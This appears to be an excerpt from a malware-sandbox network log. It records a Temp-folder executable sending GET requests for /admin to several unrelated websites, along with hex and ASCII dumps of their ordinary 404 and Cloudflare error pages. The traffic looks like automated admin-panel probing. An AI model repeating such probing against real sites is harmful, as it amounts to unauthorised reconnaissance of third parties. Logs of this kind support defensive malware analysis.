2023-12-20 02:13:41 UTC	483	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 Data Ascii: <!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if gt IE
2023-12-20 02:13:41 UTC	1369	IN	Data Raw: 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 63 66 5f 73 74 79 6c 65 73 2d 63 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 Data Ascii: arset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=device-width,initial-scale=1" /><link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/style
2023-12-20 02:13:41 UTC	1369	IN	Data Raw: 2d 68 69 64 64 65 6e 20 66 6c 6f 61 74 2d 6c 65 66 74 20 6d 64 3a 66 6c 6f 61 74 2d 6e 6f 6e 65 20 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 6c 61 74 69 76 65 20 6d 62 2d 31 30 20 6d 64 3a 6d 2d 30 22 3e 0a 20 20 20 20 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 69 63 6f 6e 2d 62 72 6f 77 73 65 72 20 62 6c 6f 63 6b 20 6d 64 3a 68 69 64 64 65 6e 20 68 2d 32 30 20 62 67 2d 63 65 6e 74 65 72 20 62 67 2d 6e 6f 2d 72 65 70 65 61 74 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 69 63 6f 6e 2d 6f 6b 20 77 2d 31 32 20 68 2d 31 32 20 61 62 73 6f 6c 75 74 65 20 6c 65 66 74 2d 31 2f 32 20 6d 64 3a 6c 65 66 74 2d 61 75 74 6f 20 6d 64 3a 72 69 67 68 74 2d 30 Data Ascii: -hidden float-left md:float-none text-center"> <div class="relative mb-10 md:m-0"> <span class="cf-icon-browser block md:hidden h-20 bg-center bg-no-repeat"></span> <span class="cf-icon-ok w-12 h-12 absolute left-1/2 md:left-auto md:right-0
2023-12-20 02:13:41 UTC	1369	IN	Data Raw: 6f 72 2d 6c 61 6e 64 69 6e 67 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 65 72 72 6f 72 63 6f 64 65 5f 35 32 30 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 64 69 72 65 63 74 61 2d 70 6c 75 73 2e 63 6f 6d 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 3e 0a 20 20 20 20 43 6c 6f 75 64 66 6c 61 72 65 0a 20 20 20 20 3c 2f 61 3e 0a 20 20 3c 2f 68 33 3e 0a 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6c 65 61 64 69 6e 67 2d 31 2e 33 20 74 65 78 74 2d 32 78 6c 20 74 65 78 74 2d 67 72 65 65 6e 2d 73 75 63 63 65 73 73 22 3e 57 6f 72 6b 69 6e 67 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 66 2d 68 6f 73 74 2d 73 74 61 74 75 73 22 20 63 6c 61 73 73 3d 22 63 66 Data Ascii: or-landing?utm_source=errorcode_520&utm_campaign=directa-plus.com" target="_blank" rel="noopener noreferrer"> Cloudflare </a> </h3> <span class="leading-1.3 text-2xl text-green-success">Working</span></div><div id="cf-host-status" class="cf
2023-12-20 02:13:41 UTC	1369	IN	Data Raw: 72 65 20 61 6e 64 20 74 68 65 20 6f 72 69 67 69 6e 20 77 65 62 20 73 65 72 76 65 72 2e 20 41 73 20 61 20 72 65 73 75 6c 74 2c 20 74 68 65 20 77 65 62 20 70 61 67 65 20 63 61 6e 20 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 2e 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 77 2d 31 2f 32 20 6d 64 3a 77 2d 66 75 6c 6c 20 66 6c 6f 61 74 2d 6c 65 66 74 20 6c 65 61 64 69 6e 67 2d 72 65 6c 61 78 65 64 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 33 78 6c 20 66 6f 6e 74 2d 6e 6f 72 6d 61 6c 20 6c 65 61 64 69 6e 67 2d 31 2e 33 20 6d 62 2d 34 22 3e 57 68 61 74 20 63 61 Data Ascii: re and the origin web server. As a result, the web page can not be displayed.</p> </div> <div class="w-1/2 md:w-full float-left leading-relaxed"> <h2 class="text-3xl font-normal leading-1.3 mb-4">What ca
2023-12-20 02:13:41 UTC	1230	IN	Data Raw: 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 33 38 34 35 65 31 32 34 30 30 36 64 61 66 39 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 2d 69 70 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 68 69 64 64 65 6e 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d Data Ascii: strong class="font-semibold">83845e124006daf9</strong></span> <span class="cf-footer-separator sm:hidden">•</span> <span id="cf-footer-item-ip" class="cf-footer-item hidden sm:block sm:mb-1"> Your IP: <button type="button" id="cf-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
433	192.168.2.4	53097	209.126.24.60	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:40 UTC	260	OUT	GET /admin HTTP/1.1 Host: horsetech.com Accept: / Accept-Encoding: deflate, gzip Cookie: wp_ga4_customerGroup=NOT%20LOGGED%20IN; PHPSESSID=affa9b41577ea3b7472fa0a7d04cd9b5 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:41 UTC	478	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Dec 2023 02:13:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=affa9b41577ea3b7472fa0a7d04cd9b5; expires=Wed, 20-Dec-2023 03:13:40 GMT; Max-Age=3600; path=/; domain=horsetech.com; secure; HttpOnly; SameSite=Lax Pragma: no-cache Cache-Control: max-age=0, must-revalidate, no-cache, no-store Expires: Mon, 19 Dec 2022 17:32:51 GMT
2023-12-20 02:13:41 UTC	6744	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 2d 52 65 70 6f 72 74 2d 4f 6e 6c 79 3a 20 66 6f 6e 74 2d 73 72 63 20 2a 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 20 2a 2e 67 73 74 61 74 69 63 2e 63 6f 6d 20 2a 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 2a 2e 74 77 69 74 74 65 72 2e 63 6f 6d 20 2a 2e 74 79 70 65 6b 69 74 2e 6e 65 74 20 2a 2e 74 77 69 6d 67 2e 63 6f 6d 20 2a 2e 74 72 75 73 74 65 64 73 68 6f 70 73 2e 63 6f 6d 20 2a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 20 2a 2e 79 6f 75 74 75 62 65 2e 63 6f 6d 20 6d 61 70 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 20 2a 2e 79 6f 74 70 6f 2e 63 6f 6d 20 27 73 65 6c 66 27 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 3b 20 66 6f 72 6d 2d 61 63 74 69 6f 6e 20 73 65 63 75 72 65 2e Data Ascii: Content-Security-Policy-Report-Only: font-src .googleapis.com .gstatic.com .cloudflare.com .twitter.com .typekit.net .twimg.com .trustedshops.com .google.com .youtube.com maps.googleapis.com .yotpo.com 'self' 'unsafe-inline'; form-action secure.
2023-12-20 02:13:41 UTC	970	IN	Data Raw: 32 30 30 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 20 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 76 61 72 20 42 41 53 45 5f 55 52 4c 20 3d 20 27 68 74 74 70 73 5c 75 30 30 33 41 5c 75 30 30 32 46 5c 75 30 30 32 46 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 5c 75 30 30 32 46 27 3b 0a 20 20 20 20 76 61 72 20 72 65 71 75 69 72 65 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 27 62 61 73 65 55 72 6c 27 3a 20 27 68 74 74 70 73 5c 75 30 30 33 41 5c 75 30 30 32 46 5c 75 30 30 32 46 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 5c 75 30 30 32 46 73 74 61 74 69 63 5c 75 30 30 32 46 76 65 72 73 69 6f 6e 31 37 30 31 33 38 38 34 32 30 5c 75 30 30 32 46 66 72 6f 6e 74 Data Ascii: 2000<!doctype html><html lang="en"> <head > <script> var BASE_URL = 'https\u003A\u002F\u002Fhorsetech.com\u002F'; var require = { 'baseUrl': 'https\u003A\u002F\u002Fhorsetech.com\u002Fstatic\u002Fversion1701388420\u002Ffront
2023-12-20 02:13:41 UTC	4096	IN	Data Raw: 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 76 65 72 73 69 6f 6e 31 37 30 31 33 38 38 34 32 30 2f 66 72 6f 6e 74 65 6e 64 2f 68 6f 72 73 65 74 65 63 68 2f 64 65 66 61 75 6c 74 2f 65 6e 5f 55 53 2f 63 73 73 2f 73 74 79 6c 65 73 2d 6d 2e 6d 69 6e 2e 63 73 73 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 76 65 72 73 69 6f 6e 31 37 30 31 33 38 38 34 32 30 2f 66 72 6f 6e 74 65 6e 64 2f 68 6f 72 73 65 74 65 63 68 2f 64 65 66 61 75 6c 74 2f 65 6e 5f 55 53 2f 63 73 73 2f 73 74 79 6c 65 73 2d 6c 2e 6d 69 6e 2e 63 73 73 22 20 2f 3e 0a 3c 6c 69 Data Ascii: .com/static/version1701388420/frontend/horsetech/default/en_US/css/styles-m.min.css" /><link rel="stylesheet" type="text/css" media="all" href="https://horsetech.com/static/version1701388420/frontend/horsetech/default/en_US/css/styles-l.min.css" /><li
2023-12-20 02:13:41 UTC	4096	IN	Data Raw: 29 27 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 6d 61 74 63 68 29 20 72 65 74 75 72 6e 20 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 6d 61 74 63 68 5b 31 5d 2e 72 65 70 6c 61 63 65 28 2f 5c 2b 2f 67 2c 20 27 20 27 29 29 20 3b 0a 20 20 20 20 20 20 20 20 7d 3b 0a 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 64 6c 34 4f 62 6a 65 63 74 73 20 3d 20 5b 7b 22 70 61 67 65 4e 61 6d 65 22 3a 22 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 22 2c 22 70 61 67 65 54 79 70 65 22 3a 22 6f 74 68 65 72 22 7d 5d 3b 0a 20 20 20 20 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 69 6e Data Ascii: )')); if (match) return decodeURIComponent(match[1].replace(/\+/g, ' ')) ; }; window.dataLayer = window.dataLayer \|\| []; var dl4Objects = [{"pageName":"404 Not Found","pageType":"other"}]; for (var i in
2023-12-20 02:13:41 UTC	4096	IN	Data Raw: 09 20 20 20 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 0d 0a 09 09 20 20 20 20 7a 2d 69 6e 64 65 78 3a 20 39 39 39 39 3b 0d 0a 09 09 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 09 09 20 20 20 20 72 69 67 68 74 3a 20 32 30 70 78 3b 0d 0a 09 09 20 20 20 20 74 6f 70 3a 20 32 32 70 78 3b 0d 0a 09 09 7d 0d 0a 09 09 2e 70 61 67 65 2d 70 72 6f 64 75 63 74 73 20 2e 70 72 6f 64 75 63 74 73 2d 6c 69 73 74 20 2e 70 72 6f 64 75 63 74 2d 69 74 65 6d 2d 69 6e 66 6f 20 61 2c 0d 0a 09 09 2e 70 61 67 65 2d 70 72 6f 64 75 63 74 73 20 2e 70 72 6f 64 75 63 74 73 2d 6c 69 73 74 20 2e 70 72 6f 64 75 63 74 2d 69 74 65 6d 2d 69 6e 66 6f 20 2e 70 72 6f 64 75 63 74 2d 69 74 65 6d 2d 64 65 74 61 69 6c 73 20 7b 0d 0a 09 09 09 77 69 64 74 68 3a 20 61 75 Data Ascii: float: right; z-index: 9999; position: absolute; right: 20px; top: 22px;}.page-products .products-list .product-item-info a,.page-products .products-list .product-item-info .product-item-details {width: au
2023-12-20 02:13:41 UTC	4096	IN	Data Raw: 7d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 20 45 4e 44 20 47 4f 4f 47 4c 45 20 41 4e 41 4c 59 54 49 43 53 20 43 4f 44 45 20 2d 2d 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 78 2d 6d 61 67 65 6e 74 6f 2d 69 6e 69 74 22 3e 0a 20 20 20 20 20 20 20 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 2a 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 4d 61 67 65 6e 74 6f 5f 50 61 67 65 43 61 63 68 65 2f 6a 73 2f 66 6f 72 6d 2d 6b 65 79 2d 70 72 6f 76 69 64 65 72 22 3a 20 7b 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f 64 79 20 64 61 74 61 2d 63 6f 6e 74 61 69 6e 65 72 3d 22 62 6f Data Ascii: }</script>... END GOOGLE ANALYTICS CODE --> <script type="text/x-magento-init"> { "*": { "Magento_PageCache/js/form-key-provider": {} } } </script> </head> <body data-container="bo
2023-12-20 02:13:41 UTC	4096	IN	Data Raw: 61 72 63 68 22 3e 0a 09 09 09 09 09 09 3c 73 70 61 6e 3e 53 65 61 72 63 68 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 2f 62 75 74 74 6f 6e 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 2f 66 6f 72 6d 3e 0a 09 09 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 78 2d 6d 61 67 65 6e 74 6f 2d 69 6e 69 74 22 3e 0a 7b 0a 20 20 20 20 22 2a 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 4d 61 67 65 6e 74 6f 5f 55 69 2f 6a 73 2f 63 6f 72 65 2f 61 70 70 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 63 6f 6d 70 6f 6e 65 6e 74 73 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 22 73 65 61 72 63 68 73 75 69 74 65 61 75 74 6f 63 6f 6d 70 6c 65 74 65 5f 66 6f 72 6d Data Ascii: arch"><span>Search</span></button></div></form></div> </div></div><script type="text/x-magento-init">{ "*": { "Magento_Ui/js/core/app": { "components": { "searchsuiteautocomplete_form
2023-12-20 02:13:41 UTC	4096	IN	Data Raw: 2e 74 6f 74 61 6c 73 22 3a 7b 22 63 6f 6e 66 69 67 22 3a 7b 22 64 69 73 70 6c 61 79 5f 63 61 72 74 5f 73 75 62 74 6f 74 61 6c 5f 69 6e 63 6c 5f 74 61 78 22 3a 30 2c 22 64 69 73 70 6c 61 79 5f 63 61 72 74 5f 73 75 62 74 6f 74 61 6c 5f 65 78 63 6c 5f 74 61 78 22 3a 31 2c 22 74 65 6d 70 6c 61 74 65 22 3a 22 4d 61 67 65 6e 74 6f 5f 54 61 78 5c 2f 63 68 65 63 6b 6f 75 74 5c 2f 6d 69 6e 69 63 61 72 74 5c 2f 73 75 62 74 6f 74 61 6c 5c 2f 74 6f 74 61 6c 73 22 7d 2c 22 63 68 69 6c 64 72 65 6e 22 3a 7b 22 73 75 62 74 6f 74 61 6c 2e 74 6f 74 61 6c 73 2e 6d 73 72 70 22 3a 7b 22 63 6f 6d 70 6f 6e 65 6e 74 22 3a 22 4d 61 67 65 6e 74 6f 5f 4d 73 72 70 5c 2f 6a 73 5c 2f 76 69 65 77 5c 2f 63 68 65 63 6b 6f 75 74 5c 2f 6d 69 6e 69 63 61 72 74 5c 2f 73 75 62 74 6f 74 61 6c Data Ascii: .totals":{"config":{"display_cart_subtotal_incl_tax":0,"display_cart_subtotal_excl_tax":1,"template":"Magento_Tax\/checkout\/minicart\/subtotal\/totals"},"children":{"subtotal.totals.msrp":{"component":"Magento_Msrp\/js\/view\/checkout\/minicart\/subtotal
2023-12-20 02:13:41 UTC	4096	IN	Data Raw: 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 65 71 75 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 63 75 73 74 6f 6d 2d 6e 6f 6e 2d 73 74 6f 63 6b 2d 70 72 6f 64 75 63 74 73 22 3e 3c 73 70 61 6e 3e 43 75 73 74 6f 6d 20 26 20 4e 6f 6e 2d 73 74 6f 63 6b 20 50 72 6f 64 75 63 74 73 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 75 69 2d 6d 65 6e 75 2d 69 74 65 6d 20 6c 65 76 65 6c 31 20 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 65 71 75 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 64 61 69 6c 79 2d 76 69 74 61 6d 69 6e 73 2d 6d 69 6e 65 72 61 6c 73 22 3e 3c 73 70 61 6e 3e 44 61 69 6c 79 20 56 69 74 61 6d 69 6e 73 2f 20 4d 69 6e 65 72 Data Ascii: f="https://horsetech.com/equine-supplements/custom-non-stock-products"><span>Custom & Non-stock Products</span></a></li><li class="ui-menu-item level1 "><a href="https://horsetech.com/equine-supplements/daily-vitamins-minerals"><span>Daily Vitamins/ Miner
2023-12-20 02:13:41 UTC	4096	IN	Data Raw: 6d 65 6e 75 2d 69 74 65 6d 20 6c 65 76 65 6c 31 20 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 63 61 6e 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 64 69 67 65 73 74 69 76 65 2d 73 75 70 70 6f 72 74 22 3e 3c 73 70 61 6e 3e 44 69 67 65 73 74 69 76 65 20 53 75 70 70 6f 72 74 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 20 63 6c 61 73 73 3d 22 75 69 2d 6d 65 6e 75 2d 69 74 65 6d 20 6c 65 76 65 6c 31 20 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 6f 72 73 65 74 65 63 68 2e 63 6f 6d 2f 63 61 6e 69 6e 65 2d 73 75 70 70 6c 65 6d 65 6e 74 73 2f 73 6b 69 6e 2d 63 6f 61 74 22 3e 3c 73 70 61 6e 3e 53 6b 69 6e 20 26 20 43 6f 61 74 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 3c Data Ascii: menu-item level1 "><a href="https://horsetech.com/canine-supplements/digestive-support"><span>Digestive Support</span></a></li><li class="ui-menu-item level1 "><a href="https://horsetech.com/canine-supplements/skin-coat"><span>Skin & Coat</span></a></li><

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
434	192.168.2.4	52888	199.34.228.152	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:40 UTC	175	OUT	GET /admin HTTP/1.1 Host: www.lisvankooten.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:40 UTC	660	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:40 GMT Server: Apache Vary: X-W-SSL,User-Agent Set-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:40 GMT; Max-Age=1209600; path=/ Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:40 GMT; Max-Age=315360000; path=/ Cache-Control: private X-Host: grn82.sf2p.intern.weebly.net X-UA-Compatible: IE=edge,chrome=1 Content-Length: 3909 Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:40 UTC	768	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 67 64 70 72 2f 67 64 70 72 73 63 72 69 70 74 2e 6a 73 3f 62 75 69 6c 64 54 69 6d 65 3d 31 37 30 33 30 31 37 34 32 36 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><script src="/gdpr/gdprscript.js?buildTime=1703017426"></script><title>404 - Pa
2023-12-20 02:13:40 UTC	3141	IN	Data Raw: 6d 2f 63 6f 6d 70 6f 6e 65 6e 74 73 2f 75 69 2d 66 72 61 6d 65 77 6f 72 6b 2f 66 6f 6e 74 73 2f 70 72 6f 78 69 6d 61 2d 6e 6f 76 61 2d 6c 69 67 68 74 2f 33 31 41 43 39 36 5f 30 5f 30 2e 65 6f 74 3f 23 69 65 66 69 78 22 29 20 66 6f 72 6d 61 74 28 22 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 79 70 65 22 29 2c 20 75 72 6c 28 22 2f 2f 63 64 6e 32 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 63 6f 6d 70 6f 6e 65 6e 74 73 2f 75 69 2d 66 72 61 6d 65 77 6f 72 6b 2f 66 6f 6e 74 73 2f 70 72 6f 78 69 6d 61 2d 6e 6f 76 61 2d 6c 69 67 68 74 2f 33 31 41 43 39 36 5f 30 5f 30 2e 77 6f 66 66 22 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 22 29 2c 20 75 72 6c 28 22 2f 2f 63 64 6e 32 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 63 6f 6d 70 6f 6e 65 6e 74 73 2f 75 69 2d Data Ascii: m/components/ui-framework/fonts/proxima-nova-light/31AC96_0_0.eot?#iefix") format("embedded-opentype"), url("//cdn2.editmysite.com/components/ui-framework/fonts/proxima-nova-light/31AC96_0_0.woff") format("woff"), url("//cdn2.editmysite.com/components/ui-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
435	192.168.2.4	53492	34.133.154.140	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:40 UTC	171	OUT	GET / HTTP/1.1 Host: hildebrandproject.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
